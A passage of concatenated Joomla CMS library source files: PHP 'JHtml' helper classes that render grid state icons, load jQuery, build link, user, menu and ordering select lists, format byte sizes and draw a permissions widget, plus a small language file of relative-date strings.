$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$states = array(
0 => array('setDefault', '',
'JLIB_HTML_SETDEFAULT_ITEM', '', 1,
'unfeatured', 'unfeatured'),
1 => array('unsetDefault', 'JDEFAULT',
'JLIB_HTML_UNSETDEFAULT_ITEM', 'JDEFAULT', 1,
'featured', 'featured'),
);
return static::state($states, $value, $i, $prefix, $enabled, true,
$checkbox);
}
/**
* Returns an array of standard published state filter options.
*
* @param array $config An array of configuration options.
* This array can contain a list of key/value
pairs where values are boolean
* and keys can be taken from
'published', 'unpublished', 'archived',
'trash', 'all'.
* These pairs determine which values are
displayed.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function publishedOptions($config = array())
{
// Build the active state filter options.
$options = array();
if (!array_key_exists('published', $config) ||
$config['published'])
{
$options[] = JHtml::_('select.option', '1',
'JPUBLISHED');
}
if (!array_key_exists('unpublished', $config) ||
$config['unpublished'])
{
$options[] = JHtml::_('select.option', '0',
'JUNPUBLISHED');
}
if (!array_key_exists('archived', $config) ||
$config['archived'])
{
$options[] = JHtml::_('select.option', '2',
'JARCHIVED');
}
if (!array_key_exists('trash', $config) ||
$config['trash'])
{
$options[] = JHtml::_('select.option', '-2',
'JTRASHED');
}
if (!array_key_exists('all', $config) ||
$config['all'])
{
$options[] = JHtml::_('select.option', '*',
'JALL');
}
return $options;
}
/**
* Returns a checked-out icon
*
* @param integer $i The row index.
* @param string $editorName The name of the editor.
* @param string $time The time that the object was
checked out.
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled True to enable the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function checkedout($i, $editorName, $time, $prefix =
'', $enabled = false, $checkbox = 'cb')
{
JHtml::_('bootstrap.tooltip');
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$text = $editorName . '<br />' .
JHtml::_('date', $time, JText::_('DATE_FORMAT_LC')) .
'<br />' . JHtml::_('date', $time,
'H:i');
$activeTitle = JHtml::_('tooltipText',
JText::_('JLIB_HTML_CHECKIN'), $text, 0);
$inactiveTitle = JHtml::_('tooltipText',
JText::_('JLIB_HTML_CHECKED_OUT'), $text, 0);
return static::action(
$i, 'checkin', $prefix,
JText::_('JLIB_HTML_CHECKED_OUT'),
html_entity_decode($activeTitle, ENT_QUOTES, 'UTF-8'),
html_entity_decode($inactiveTitle, ENT_QUOTES, 'UTF-8'), true,
'checkedout', 'checkedout', $enabled, false, $checkbox
);
}
/**
* Creates an order-up action icon.
*
* @param integer $i The row index.
* @param string $task An optional task to fire.
* @param string|array $prefix An optional task prefix or an array
of options
* @param string $text An optional text to display
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function orderUp($i, $task = 'orderup', $prefix =
'', $text = 'JLIB_HTML_MOVE_UP', $enabled = true,
$checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$text = array_key_exists('text', $options) ?
$options['text'] : $text;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
return static::action($i, $task, $prefix, $text, $text, $text, false,
'uparrow', 'uparrow_disabled', $enabled, true,
$checkbox);
}
/**
* Creates an order-down action icon.
*
* @param integer $i The row index.
* @param string $task An optional task to fire.
* @param string|array $prefix An optional task prefix or an array
of options
* @param string $text An optional text to display
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function orderDown($i, $task = 'orderdown',
$prefix = '', $text = 'JLIB_HTML_MOVE_DOWN', $enabled =
true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$text = array_key_exists('text', $options) ?
$options['text'] : $text;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
return static::action($i, $task, $prefix, $text, $text, $text, false,
'downarrow', 'downarrow_disabled', $enabled, true,
$checkbox);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for jQuery JavaScript behaviors
*
* @since 3.0
*/
abstract class JHtmlJquery
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the jQuery JavaScript framework into the document head
*
* If debugging mode is on an uncompressed version of jQuery is included
for easier debugging.
*
* @param boolean $noConflict True to load jQuery in noConflict mode
[optional]
* @param mixed $debug Is debugging mode on? [optional]
* @param boolean $migrate True to enable the jQuery Migrate plugin
*
* @return void
*
* @since 3.0
*/
public static function framework($noConflict = true, $debug = null,
$migrate = true)
{
// Only load once
if (!empty(static::$loaded[__METHOD__]))
{
return;
}
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = (boolean) JFactory::getConfig()->get('debug');
}
JHtml::_('script', 'jui/jquery.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
// Check if we are loading in noConflict
if ($noConflict)
{
JHtml::_('script', 'jui/jquery-noconflict.js',
array('version' => 'auto', 'relative'
=> true));
}
// Check if we are loading Migrate
if ($migrate)
{
JHtml::_('script', 'jui/jquery-migrate.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
}
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to load the jQuery UI JavaScript framework into the document
head
*
* If debugging mode is on an uncompressed version of jQuery UI is
included for easier debugging.
*
* @param array $components The jQuery UI components to load
[optional]
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function ui(array $components = array('core'),
$debug = null)
{
// Set an array containing the supported jQuery UI components handled by
this method
$supported = array('core', 'sortable');
// Include jQuery
static::framework();
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
// Load each of the requested components
foreach ($components as $component)
{
// Only attempt to load the component if it's supported in core and
hasn't already been loaded
if (in_array($component, $supported) &&
empty(static::$loaded[__METHOD__][$component]))
{
JHtml::_('script', 'jui/jquery.ui.' . $component .
'.min.js', array('version' => 'auto',
'relative' => true, 'detectDebug' => $debug));
static::$loaded[__METHOD__][$component] = true;
}
}
return;
}
/**
* Auto set CSRF token to ajaxSetup so all jQuery ajax call will contains
CSRF token.
*
* @param string $name The CSRF meta tag name.
*
* @return void
*
* @throws \InvalidArgumentException
*
* @since 3.8.0
*/
public static function token($name = 'csrf.token')
{
// Only load once
if (!empty(static::$loaded[__METHOD__][$name]))
{
return;
}
static::framework();
JHtml::_('form.csrf', $name);
$doc = JFactory::getDocument();
$doc->addScriptDeclaration(
<<<JS
;(function ($) {
$.ajaxSetup({
headers: {
'X-CSRF-Token': Joomla.getOptions('$name')
}
});
})(jQuery);
JS
);
static::$loaded[__METHOD__][$name] = true;
}
}
; Joomla! Project
; Copyright (C) 2005 - 2020 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8
JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago"
JLIB_HTML_DATE_RELATIVE_DAYS_1="%s day ago"
JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago"
JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago"
JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hour ago"
JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago"
JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Less than a minute ago"
JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago"
JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minute ago"
JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago"
JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago"
JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week ago"
JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago"
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for icons.
*
* @since 3.2
*/
abstract class JHtmlLinks
{
/**
* Method to generate html code for groups of lists of links
*
* @param array $groupsOfLinks Array of links
*
* @return string
*
* @since 3.2
*/
public static function linksgroups($groupsOfLinks)
{
$html = array();
if (count($groupsOfLinks) > 0)
{
$layout = new JLayoutFile('joomla.links.groupsopen');
$html[] = $layout->render('');
foreach ($groupsOfLinks as $title => $links)
{
if (isset($links[0]['separategroup']))
{
$layout = new JLayoutFile('joomla.links.groupseparator');
$html[] = $layout->render($title);
}
$layout = new JLayoutFile('joomla.links.groupopen');
$htmlHeader = $layout->render($title);
$htmlLinks = JHtml::_('links.links', $links);
if ($htmlLinks != '')
{
$html[] = $htmlHeader;
$html[] = $htmlLinks;
$layout = new JLayoutFile('joomla.links.groupclose');
$html[] = $layout->render('');
}
}
$layout = new JLayoutFile('joomla.links.groupsclose');
$html[] = $layout->render('');
}
return implode($html);
}
/**
* Method to generate html code for a list of links
*
* @param array $links Array of links
*
* @return string
*
* @since 3.2
*/
public static function links($links)
{
$html = array();
foreach ($links as $link)
{
$html[] = JHtml::_('links.link', $link);
}
return implode($html);
}
/**
* Method to generate html code for a single link
*
* @param array $link link properties
*
* @return string
*
* @since 3.2
*/
public static function link($link)
{
if (isset($link['access']))
{
if (is_bool($link['access']))
{
if ($link['access'] == false)
{
return '';
}
}
else
{
// Get the user object to verify permissions
$user = JFactory::getUser();
// Take each pair of permission, context values.
for ($i = 0, $n = count($link['access']); $i < $n; $i +=
2)
{
if (!$user->authorise($link['access'][$i],
$link['access'][$i + 1]))
{
return '';
}
}
}
}
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('joomla.links.link');
return $layout->render($link);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
/**
* Utility class for creating different select lists
*
* @since 1.5
*/
abstract class JHtmlList
{
/**
* Build the select list to choose an image
*
* @param string $name The name of the field
* @param string $active The selected item
* @param string $javascript Alternative javascript
* @param string $directory Directory the images are stored in
* @param string $extensions Allowed extensions
*
* @return array Image names
*
* @since 1.5
*/
public static function images($name, $active = null, $javascript = null,
$directory = null, $extensions = 'bmp|gif|jpg|png')
{
if (!$directory)
{
$directory = '/images/';
}
if (!$javascript)
{
$javascript = "onchange=\"if (document.forms.adminForm."
. $name
. ".options[selectedIndex].value!='')
{document.imagelib.src='..$directory' +
document.forms.adminForm." . $name
. ".options[selectedIndex].value} else
{document.imagelib.src='media/system/images/blank.png'}\"";
}
$imageFiles = new DirectoryIterator(JPATH_SITE . '/' .
$directory);
$images = array(JHtml::_('select.option', '',
JText::_('JOPTION_SELECT_IMAGE')));
foreach ($imageFiles as $file)
{
$fileName = $file->getFilename();
if (!$file->isFile())
{
continue;
}
if (preg_match('#(' . $extensions . ')$#',
$fileName))
{
$images[] = JHtml::_('select.option', $fileName);
}
}
$images = JHtml::_(
'select.genericlist',
$images,
$name,
array(
'list.attr' => 'class="inputbox"
size="1" ' . $javascript,
'list.select' => $active,
)
);
return $images;
}
/**
* Returns an array of options
*
* @param string $query SQL with 'ordering' AS value and
'name field' AS text
* @param integer $chop The length of the truncated headline
*
* @return array An array of objects formatted for JHtml list processing
*
* @since 1.5
*/
public static function genericordering($query, $chop = 30)
{
$db = JFactory::getDbo();
$options = array();
$db->setQuery($query);
$items = $db->loadObjectList();
if (empty($items))
{
$options[] = JHtml::_('select.option', 1,
JText::_('JOPTION_ORDER_FIRST'));
return $options;
}
$options[] = JHtml::_('select.option', 0, '0 ' .
JText::_('JOPTION_ORDER_FIRST'));
for ($i = 0, $n = count($items); $i < $n; $i++)
{
$items[$i]->text = JText::_($items[$i]->text);
if (StringHelper::strlen($items[$i]->text) > $chop)
{
$text = StringHelper::substr($items[$i]->text, 0, $chop) .
'...';
}
else
{
$text = $items[$i]->text;
}
$options[] = JHtml::_('select.option', $items[$i]->value,
$items[$i]->value . '. ' . $text);
}
$options[] = JHtml::_('select.option', $items[$i - 1]->value
+ 1, ($items[$i - 1]->value + 1) . ' ' .
JText::_('JOPTION_ORDER_LAST'));
return $options;
}
/**
* Build the select list for Ordering derived from a query
*
* @param integer $name The scalar value
* @param string $query The query
* @param string $attribs HTML tag attributes
* @param string $selected The selected item
* @param integer $neworder 1 if new and first, -1 if new and last, 0
or null if existing item
*
* @return string HTML markup for the select list
*
* @since 1.6
*/
public static function ordering($name, $query, $attribs = null, $selected
= null, $neworder = null)
{
if (empty($attribs))
{
$attribs = 'class="inputbox" size="1"';
}
if (empty($neworder))
{
$orders = JHtml::_('list.genericordering', $query);
$html = JHtml::_('select.genericlist', $orders, $name,
array('list.attr' => $attribs, 'list.select' =>
(int) $selected));
}
else
{
if ($neworder > 0)
{
$text = JText::_('JGLOBAL_NEWITEMSLAST_DESC');
}
elseif ($neworder <= 0)
{
$text = JText::_('JGLOBAL_NEWITEMSFIRST_DESC');
}
$html = '<input type="hidden" name="' .
$name . '" value="' . (int) $selected . '"
/><span class="readonly">' . $text .
'</span>';
}
return $html;
}
/**
* Select list of active users
*
* @param string $name The name of the field
* @param string $active The active user
* @param integer $nouser If set include an option to select no
user
* @param string $javascript Custom javascript
* @param string $order Specify a field to order by
*
* @return string The HTML for a list of users list of users
*
* @since 1.5
*/
public static function users($name, $active, $nouser = 0, $javascript =
null, $order = 'name')
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('u.id AS value, u.name AS text')
->from('#__users AS u')
->join('LEFT', '#__user_usergroup_map AS m ON
m.user_id = u.id')
->where('u.block = 0')
->order($order)
->group('u.id');
$db->setQuery($query);
if ($nouser)
{
$users[] = JHtml::_('select.option', '0',
JText::_('JOPTION_NO_USER'));
$users = array_merge($users, $db->loadObjectList());
}
else
{
$users = $db->loadObjectList();
}
$users = JHtml::_(
'select.genericlist',
$users,
$name,
array(
'list.attr' => 'class="inputbox"
size="1" ' . $javascript,
'list.select' => $active,
)
);
return $users;
}
/**
* Select list of positions - generally used for location of images
*
* @param string $name Name of the field
* @param string $active The active value
* @param string $javascript Alternative javascript
* @param boolean $none Null if not assigned
* @param boolean $center Null if not assigned
* @param boolean $left Null if not assigned
* @param boolean $right Null if not assigned
* @param boolean $id Null if not assigned
*
* @return array The positions
*
* @since 1.5
*/
public static function positions($name, $active = null, $javascript =
null, $none = true, $center = true, $left = true, $right = true,
$id = false)
{
$pos = array();
if ($none)
{
$pos[''] = JText::_('JNONE');
}
if ($center)
{
$pos['center'] = JText::_('JGLOBAL_CENTER');
}
if ($left)
{
$pos['left'] = JText::_('JGLOBAL_LEFT');
}
if ($right)
{
$pos['right'] = JText::_('JGLOBAL_RIGHT');
}
$positions = JHtml::_(
'select.genericlist', $pos, $name,
array(
'id' => $id,
'list.attr' => 'class="inputbox"
size="1"' . $javascript,
'list.select' => $active,
'option.key' => null,
)
);
return $positions;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with menu select lists
*
* @since 1.5
*/
abstract class JHtmlMenu
{
/**
* Cached array of the menus.
*
* @var array
* @since 1.6
*/
protected static $menus = array();
/**
* Cached array of the menus items.
*
* @var array
* @since 1.6
*/
protected static $items = array();
/**
* Get a list of the available menus.
*
* @param int $clientId The client id
*
* @return array
*
* @since 1.6
*/
public static function menus($clientId = 0)
{
$key = serialize($clientId);
if (!isset(static::$menus[$key]))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->qn(array('id', 'menutype',
'title', 'client_id'), array('id',
'value', 'text', 'client_id')))
->from($db->quoteName('#__menu_types'))
->order('client_id, title');
if (isset($clientId))
{
$query->where('client_id = ' . (int) $clientId);
}
static::$menus[$key] = $db->setQuery($query)->loadObjectList();
}
return static::$menus[$key];
}
/**
* Returns an array of menu items grouped by menu.
*
* @param array $config An array of configuration options [published,
checkacl, clientid].
*
* @return array
*
* @since 1.6
*/
public static function menuItems($config = array())
{
$key = serialize($config);
if (empty(static::$items[$key]))
{
// B/C - not passed = 0, null can be passed for both clients
$clientId = array_key_exists('clientid', $config) ?
$config['clientid'] : 0;
$menus = static::menus($clientId);
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.title AS text, a.level, a.menutype,
a.client_id')
->from('#__menu AS a')
->where('a.parent_id > 0');
// Filter on the client id
if (isset($clientId))
{
$query->where('a.client_id = ' . (int) $clientId);
}
// Filter on the published state
if (isset($config['published']))
{
if (is_numeric($config['published']))
{
$query->where('a.published = ' . (int)
$config['published']);
}
elseif ($config['published'] === '')
{
$query->where('a.published IN (0,1)');
}
}
$query->order('a.lft');
$db->setQuery($query);
$items = $db->loadObjectList();
// Collate menu items based on menutype
$lookup = array();
foreach ($items as &$item)
{
if (!isset($lookup[$item->menutype]))
{
$lookup[$item->menutype] = array();
}
$lookup[$item->menutype][] = &$item;
// Translate the menu item title when client is administrator
if ($clientId === 1)
{
$item->text = JText::_($item->text);
}
$item->text = str_repeat('- ', $item->level) .
$item->text;
}
static::$items[$key] = array();
$user = JFactory::getUser();
$aclcheck = !empty($config['checkacl']) ? (int)
$config['checkacl'] : 0;
foreach ($menus as &$menu)
{
if ($aclcheck)
{
$action = $aclcheck == $menu->id ? 'edit' :
'create';
if (!$user->authorise('core.' . $action,
'com_menus.menu.' . $menu->id))
{
continue;
}
}
// Start group:
static::$items[$key][] = JHtml::_('select.optgroup',
$menu->text);
// Special "Add to this Menu" option:
static::$items[$key][] = JHtml::_('select.option',
$menu->value . '.1',
JText::_('JLIB_HTML_ADD_TO_THIS_MENU'));
// Menu items:
if (isset($lookup[$menu->value]))
{
foreach ($lookup[$menu->value] as &$item)
{
static::$items[$key][] = JHtml::_('select.option',
$menu->value . '.' . $item->value, $item->text);
}
}
// Finish group:
static::$items[$key][] = JHtml::_('select.optgroup',
$menu->text);
}
}
return static::$items[$key];
}
/**
* Displays an HTML select list of menu items.
*
* @param string $name The name of the control.
* @param string $selected The value of the selected option.
* @param string $attribs Attributes for the control.
* @param array $config An array of options for the control [id,
published, checkacl, clientid].
*
* @return string
*
* @since 1.6
*/
public static function menuItemList($name, $selected = null, $attribs =
null, $config = array())
{
static $count;
$options = static::menuItems($config);
return JHtml::_(
'select.genericlist', $options, $name,
array(
'id' => isset($config['id']) ?
$config['id'] : 'assetgroups_' . (++$count),
'list.attr' => $attribs === null ?
'class="inputbox" size="1"' : $attribs,
'list.select' => (int) $selected,
'list.translate' => false,
)
);
}
/**
* Build the select list for Menu Ordering
*
* @param object &$row The row object
* @param integer $id The id for the row. Must exist to enable menu
ordering
*
* @return string
*
* @since 1.5
*/
public static function ordering(&$row, $id)
{
if ($id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('ordering AS value, title AS text')
->from($db->quoteName('#__menu'))
->where($db->quoteName('menutype') . ' = ' .
$db->quote($row->menutype))
->where($db->quoteName('parent_id') . ' = ' .
(int) $row->parent_id)
->where($db->quoteName('published') . ' !=
-2')
->order('ordering');
$order = JHtml::_('list.genericordering', $query);
$ordering = JHtml::_(
'select.genericlist', $order, 'ordering',
array('list.attr' => 'class="inputbox"
size="1"', 'list.select' => (int)
$row->ordering)
);
}
else
{
$ordering = '<input type="hidden"
name="ordering" value="' . $row->ordering .
'" />' . JText::_('JGLOBAL_NEWITEMSLAST_DESC');
}
return $ordering;
}
/**
* Build the multiple select list for Menu Links/Pages
*
* @param boolean $all True if all can be selected
* @param boolean $unassigned True if unassigned can be selected
* @param int $clientId The client id
*
* @return string
*
* @since 1.5
*/
public static function linkOptions($all = false, $unassigned = false,
$clientId = 0)
{
$db = JFactory::getDbo();
// Get a list of the menu items
$query = $db->getQuery(true)
->select('m.id, m.parent_id, m.title, m.menutype,
m.client_id')
->from($db->quoteName('#__menu') . ' AS m')
->where($db->quoteName('m.published') . ' =
1')
->order('m.client_id, m.menutype, m.parent_id');
if (isset($clientId))
{
$query->where('m.client_id = ' . (int) $clientId);
}
$db->setQuery($query);
$mitems = $db->loadObjectList();
if (!$mitems)
{
$mitems = array();
}
// Establish the hierarchy of the menu
$children = array();
// First pass - collect children
foreach ($mitems as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : array();
$list[] = $v;
$children[$pt] = $list;
}
// Second pass - get an indent list of the items
$list = static::treerecurse((int) $mitems[0]->parent_id, '',
array(), $children, 9999, 0, 0);
// Code that adds menu name to Display of Page(s)
$mitems = array();
if ($all | $unassigned)
{
$mitems[] = JHtml::_('select.option',
'<OPTGROUP>', JText::_('JOPTION_MENUS'));
if ($all)
{
$mitems[] = JHtml::_('select.option', 0,
JText::_('JALL'));
}
if ($unassigned)
{
$mitems[] = JHtml::_('select.option', -1,
JText::_('JOPTION_UNASSIGNED'));
}
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
$lastMenuType = null;
$tmpMenuType = null;
foreach ($list as $list_a)
{
if ($list_a->menutype != $lastMenuType)
{
if ($tmpMenuType)
{
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
$mitems[] = JHtml::_('select.option',
'<OPTGROUP>', $list_a->menutype);
$lastMenuType = $list_a->menutype;
$tmpMenuType = $list_a->menutype;
}
$mitems[] = JHtml::_('select.option', $list_a->id,
$list_a->title);
}
if ($lastMenuType !== null)
{
$mitems[] = JHtml::_('select.option',
'</OPTGROUP>');
}
return $mitems;
}
/**
* Build the list representing the menu tree
*
* @param integer $id Id of the menu item
* @param string $indent The indentation string
* @param array $list The list to process
* @param array &$children The children of the current item
* @param integer $maxlevel The maximum number of levels in the tree
* @param integer $level The starting level
* @param int $type Set the type of spacer to use. Use 1 for
|_ or 0 for -
*
* @return array
*
* @since 1.5
*/
public static function treerecurse($id, $indent, $list, &$children,
$maxlevel = 9999, $level = 0, $type = 1)
{
if ($level <= $maxlevel && isset($children[$id]) &&
is_array($children[$id]))
{
if ($type)
{
$pre = '<sup>|_</sup> ';
$spacer =
'.      ';
}
else
{
$pre = '- ';
$spacer = '  ';
}
foreach ($children[$id] as $v)
{
$id = $v->id;
if ($v->parent_id == 0)
{
$txt = $v->title;
}
else
{
$txt = $pre . $v->title;
}
$list[$id] = $v;
$list[$id]->treename = $indent . $txt;
if (isset($children[$id]) && is_array($children[$id]))
{
$list[$id]->children = count($children[$id]);
$list = static::treerecurse($id, $indent . $spacer,
$list, $children, $maxlevel, $level + 1, $type);
}
else
{
$list[$id]->children = 0;
}
}
}
return $list;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML helper class for rendering numbers.
*
* @since 1.6
*/
abstract class JHtmlNumber
{
/**
* Converts bytes to more distinguishable formats such as:
* kilobytes, megabytes, etc.
*
* By default, the proper format will automatically be chosen.
* However, one of the allowed unit types (viz. 'b',
'kB', 'MB', 'GB', 'TB',
'PB', 'EB', 'ZB', 'YB') may also be
used instead.
* IEC standard unit types ('KiB', 'MiB',
'GiB', 'TiB', 'PiB', 'EiB',
'ZiB', 'YiB') can be used as well.
*
* @param string $bytes The number of bytes. Can be either
numeric or suffixed format: 32M, 60K, 12G or 812b
* @param string $unit The type of unit to return, few special
values are:
* Blank string '' for no unit,
* 'auto' to choose automatically
(default)
* 'binary' to choose
automatically but use binary unit prefix
* @param integer $precision The number of digits to be used after the
decimal place.
* @param bool $iec Whether to be aware of IEC standards. IEC
prefixes are always acceptable in input.
* When IEC is ON: KiB = 1024 B, KB = 1000
B
* When IEC is OFF: KiB = 1024 B, KB = 1024
B
*
* @return string The number of bytes in the proper units.
*
* @since 1.6
* @link https://en.wikipedia.org/wiki/Binary_prefix
*/
public static function bytes($bytes, $unit = 'auto', $precision
= 2, $iec = false)
{
/*
* Allowed 123.45, 123.45 M, 123.45 Mi, 123.45 MB, 123.45 MiB,
1.2345E+12MB, 1.2345E+12 MB , 1.2345E+12 MiB etc.
* i.e. – Any number in decimal digits or in sci. notation, optional
space, optional 1-3 letter unit suffix
*/
if (is_numeric($bytes))
{
$oBytes = $bytes;
}
else
{
preg_match('/(.*?)\s?((?:[KMGTPEZY]i?)?B?)$/i', trim($bytes),
$matches);
list(, $oBytes, $oUnit) = $matches;
if ($oUnit && is_numeric($oBytes))
{
$oBase = $iec && strpos($oUnit, 'i') === false ?
1000 : 1024;
$factor = pow($oBase, stripos('BKMGTPEZY', $oUnit[0]));
$oBytes *= $factor;
}
}
if (empty($oBytes) || !is_numeric($oBytes))
{
return 0;
}
$oBytes = round($oBytes);
// If no unit is requested return early
if ($unit === '')
{
return (string) $oBytes;
}
$stdSuffixes = array('b', 'kB', 'MB',
'GB', 'TB', 'PB', 'EB',
'ZB', 'YB');
$iecSuffixes = array('b', 'KiB', 'MiB',
'GiB', 'TiB', 'PiB', 'EiB',
'ZiB', 'YiB');
// User supplied method
if (in_array($unit, $iecSuffixes))
{
$base = 1024;
$i = array_search($unit, $iecSuffixes, true);
$suffix = $unit;
}
elseif (in_array($unit, $stdSuffixes))
{
$base = $iec ? 1000 : 1024;
$i = array_search($unit, $stdSuffixes, true);
$suffix = $unit;
}
elseif ($unit === 'binary')
{
$base = 1024;
$i = (int) floor(log($oBytes, $base));
$suffix = $iecSuffixes[$i];
}
else
{
// Default method
$base = $iec ? 1000 : 1024;
$i = (int) floor(log($oBytes, $base));
$suffix = $stdSuffixes[$i];
}
return number_format(
round($oBytes / pow($base, $i), (int) $precision), (int) $precision,
JText::_('DECIMALS_SEPARATOR'),
JText::_('THOUSANDS_SEPARATOR')
) . ' ' . $suffix;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
JLog::add('JHtmlRules is deprecated.', JLog::WARNING,
'deprecated');
/**
* Extended Utility class for all HTML drawing classes.
*
* @since 1.6
* @deprecated 4.0
*/
abstract class JHtmlRules
{
/**
* Creates the HTML for the permissions widget
*
* @param array $actions Array of action objects
* @param integer $assetId Id of a specific asset to create a widget
for.
* @param integer $parent Id of the parent of the asset
* @param string $control The form control
* @param string $idPrefix Prefix for the ids assigned to specific
action-group pairs
*
* @return string HTML for the permissions widget
*
* @see JAccess
* @see JFormFieldRules
* @since 1.6
* @deprecated 4.0
*/
public static function assetFormWidget($actions, $assetId = null, $parent
= null, $control = 'jform[rules]', $idPrefix =
'jform_rules')
{
$images = static::_getImagesArray();
// Get the user groups.
$groups = static::_getUserGroups();
// Get the incoming inherited rules as well as the asset specific rules.
$inheriting = JAccess::getAssetRules($parent ?:
static::_getParentAssetId($assetId), true);
$inherited = JAccess::getAssetRules($assetId, true);
$rules = JAccess::getAssetRules($assetId);
$html = array();
$html[] = '<div class="acl-options">';
$html[] = JHtml::_('tabs.start', 'acl-rules-' .
$assetId, array('useCookie' => 1));
$html[] = JHtml::_('tabs.panel',
JText::_('JLIB_HTML_ACCESS_SUMMARY'), 'summary');
$html[] = ' <p>' .
JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC') .
'</p>';
$html[] = ' <table class="aclsummary-table"
summary="' . JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC')
. '">';
$html[] = ' <caption>' .
JText::_('JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION') .
'</caption>';
$html[] = ' <tr>';
$html[] = ' <th class="col1 hidelabeltxt">'
. JText::_('JLIB_RULES_GROUPS') . '</th>';
foreach ($actions as $i => $action)
{
$html[] = ' <th class="col' . ($i + 2) .
'">' . JText::_($action->title) .
'</th>';
}
$html[] = ' </tr>';
foreach ($groups as $i => $group)
{
$html[] = ' <tr class="row' . ($i % 2) .
'">';
$html[] = ' <td class="col1">' .
$group->text . '</td>';
foreach ($actions as $j => $action)
{
$html[] = ' <td class="col' . ($j + 2) .
'">'
. ($assetId ? ($inherited->allow($action->name,
$group->identities) ? $images['allow'] :
$images['deny'])
: ($inheriting->allow($action->name, $group->identities) ?
$images['allow'] : $images['deny'])) .
'</td>';
}
$html[] = ' </tr>';
}
$html[] = ' </table>';
foreach ($actions as $action)
{
$actionTitle = JText::_($action->title);
$actionDesc = JText::_($action->description);
$html[] = JHtml::_('tabs.panel', $actionTitle,
$action->name);
$html[] = ' <p>' . $actionDesc .
'</p>';
$html[] = ' <table class="aclmodify-table"
summary="' . strip_tags($actionDesc) . '">';
$html[] = ' <caption>' .
